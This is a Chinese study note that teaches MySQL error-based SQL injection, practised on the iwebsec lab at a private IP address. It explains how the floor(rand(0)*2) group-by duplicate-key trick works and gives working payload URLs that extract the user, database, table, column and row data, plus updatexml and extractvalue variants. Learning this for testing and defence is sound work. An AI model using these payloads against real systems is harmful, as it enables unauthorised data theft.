本文为作者的学习笔记,主要介绍了floor注入原理,利用注入代码(payload)分析每个部分的作用以此来解释floor注入的原理。在解释过程中会使用phpstudy搭建的MySQL环境,并且利用iwebsec漏洞库来实践。最后顺带介绍updatexml和extractvalue报错注入。
提示:以下是本篇文章正文内容,下面案例可供参考
1 and (select 1 from (select count(*),concat(database(), floor(rand(0)*2))x from information_schema.tables group by x)a) // 注入的时候payload不要有回车
上述图片可以看到报错注入已经成功地把数据库的名称爆出来了。接下来我们将payload分成几块来详细的解释一下floor报错注入的原理。
首先我们探讨一下是什么导致了报错,真是floor()这个函数吗?
floor这个函数,它的作用是返回参数的最小整数。也就是向下取整(2.2 ==》)。很显然这个函数不可能导致报错。再者count(*)就是一个计数的函数,也不是。其实真正发生作用的是第二层括号里面的代码
select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x
Mysql在执行 select count() from XXX group by x这一类语句时会先创建一个虚拟表,然后在虚拟表中插入数据,key是主键,不可重复。记住,不可重复,这个是重点。key就是后面那个x
假设我们现在有这样一个表
那我们执行这样的语句
select age,count() from admins group by age
它的过程可以简化为如下图所示
理解了这种形式之后我们记得在这种语句执行时有一种情况会引发错误,就是主键重复的时候。那么根源找到了,我们就想办法创造这种错误。所以我们找到了floor和rand(0)这两个函数。
rand()这个函数会返回0到1之间的随机数,那么我们给它一个种子时,你可以理解为和C语言等等中的random()函数里面的种子一样,她就成了固定的了。你可以发现不管你执行几次,结果都是这几个。
rand(0)*2 那么就会出现0到2之间的伪随机数,再加上floor函数就成了0和1了。
那么我们在整合到一起,解释一下这个语句的执行过程。
select count(*),floor(rand(0)*2)x from information_schema.tables group by x
(这个x的意思是给floor…这一部分取了个别名)
如果单单这样的话,它的报错只会为Duplicate entry ‘1’ for key ‘group_key’ 这样,那么我们可以用concat这个函数将一些我们想知道的信息和“1”组成一个字符串一起爆出,就可以了。
那么我们再重新看这个payload
1 and (select 1 from (select count(*),
concat(database(),floor(rand(0)*2))x
from information_schema.tables group by x)a)
最外面的那个select 1 from (XXX)a 这个是必须加的。这种适用于and ,至于联合查询(union)只需要select 1,count(*)…就可以,就是注意一下前后的列数问题。因为 and 关键词前后必须为条件语句,而select XXX from XXX group by x 主要是排序,不返回1或0,所以不可以,加上select 1 from 就是为了这个。然后后面的那个 a 主要是为了在多表查询中派生出来的表必须有一个别名,这个a就是二层括号也就是我们的注入主题的别名。(如果还不是很清楚,那么可以百度搜索Every derived table must have its own alias这个错误就可以了)
一、爆用户名
http://192.168.16.141/sqli/01.php?id=1 and(select 1 from(select count(*),concat((select user() from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
二、爆当前数据库名
http://192.168.16.141/sqli/01.php?id=1 and (select 1 from(select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)
三、爆表名
http://192.168.16.141/sqli/01.php?id=1 and (select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
五、爆字段
http://192.168.16.141/sqli/05.php?id=1 and (select 1 from (select count(*),concat((select (column_name) from information_schema.columns where table_schema=database() and table_name= 'sqli' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
六、爆具体数据
http://192.168.16.141/sqli/05.php?id=1 and (select 1 from (select count(*),concat((select id from sqli limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
首先了解一下updatexml函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
第一个参数和第二个参数可以不用管,设置为1和0就可以。然后中间的参数如果不是正确的路径的话就会报错,那么我们就可以这样注入
and updatexml(1,concat("~",(database())),0) #
extractvalue()函数
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串。
同样,第一个参数不用管,将他们设置为null
and extractvalue(null,concat(0x7e,(select @@datadir),0x7e));
这个是作者在实验过程中无意发现的
当from 后面接一个不存在的表或者不是一个表时,它会自动爆出当时数据库名称
现在最主要的问题是floor报错注入只能爆出每个节点的第一行内容,而省略之后的内容。这个问题作者到现在还是没有解决!感谢各位读者的独特见解!
祝您学业进步,事业提升